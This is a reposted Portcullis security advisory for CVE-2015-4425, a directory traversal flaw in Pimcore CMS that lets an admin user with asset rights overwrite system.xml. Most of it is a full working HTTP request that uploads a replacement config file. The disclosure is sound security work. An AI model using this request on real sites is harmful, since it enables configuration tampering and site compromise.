Author

Portcullis

Risk

[

Security Risk Medium

]

0day-ID

0day-ID-23881

Category

web applications

Date add

14-07-2015

CVE

CVE-2015-4425

Platform

php

Vulnerability title: Directory Traversal/Configuration Update In Pimcore CMS
CVE: CVE-2015-4425
Vendor: Pimcore
Product: Pimcore CMS
Affected version: Build 3450
Fixed version: Build 3473
Reported by: Josh Foote
Details:
 
It is possible for an administrative user with the 'assets' permission to overwrite system configuration files via exploiting a directory traversal vulnerability.
 
The following request can be used to update the ‘system.xml’ file of the web application:
 
POST /admin/asset/add-asset-compatibility/?parentId=1&dir=../config HTTP/1.1
Host: pimcore.com
Connection: keep-alive
Content-Length: 1502
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: https://www.host.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36
Content-Type: multipart/form-data; boundary=--------2072505619
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.8,en;q=0.6
Cookie: PHPSESSID=nnmupv1knofcpdgjdnivdr4v27; cookie-warn=true; _ga=GA1.2.1941920115.1426505099; pimcore_admin_sid=j79b6ad4afkjimslbj8l5ifuo4
 
----------2072505619
Content-Disposition: form-data; name="Filedata"; filename="system.xml" 
Content-Type: application/xml
 
<?xml version="1.0"?>
<zend-config xmlns:zf="http://framework.zend.com/xml/zend-config-xml/1.0/">
  <general>
    <timezone>Europe/Berlin</timezone>
    <language>en</language>
    <validLanguages>en</validLanguages>
    <debug>1</debug>
    <debugloglevel>debug</debugloglevel>
    <custom_php_logfile>1</custom_php_logfile>
  </general>
  <database>
    <adapter>Mysqli</adapter>
    <params>
      <username>root</username>
      <password>PASSWORD</password>
      <dbname>pimcore</dbname>
      <host>localhost</host>
      <port>3306</port>
    </params>
  </database>
  <documents>
    <versions>
      <steps>10</steps>
    </versions>
    <default_controller>default</default_controller>
    <default_action>default</default_action>
    <error_pages>
      <default>/</default>
    </error_pages>
    <createredirectwhenmoved/>
    <allowtrailingslash>no</allowtrailingslash>
    <allowcapitals>no</allowcapitals>
    <generatepreview>1</generatepreview>
  </documents>
  <objects>
    <versions>
      <steps>10</steps>
    </versions>
  </objects>
  <assets>
    <versions>
      <steps>10</steps>
    </versions>
  </assets>
  <services/>
  <cache>
    <excludeCookie/>
  </cache>
  <httpclient>
    <adapter>Zend_Http_Client_Adapter_Socket</adapter>
  </httpclient>
</zend-config>
 
 
 
Further details at:
 
https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2015-4425/
 
Copyright:
Copyright (c) Portcullis Computer Security Limited 2015, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.
 
Disclaimer:
The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.

#  0day.today [2024-07-03]  #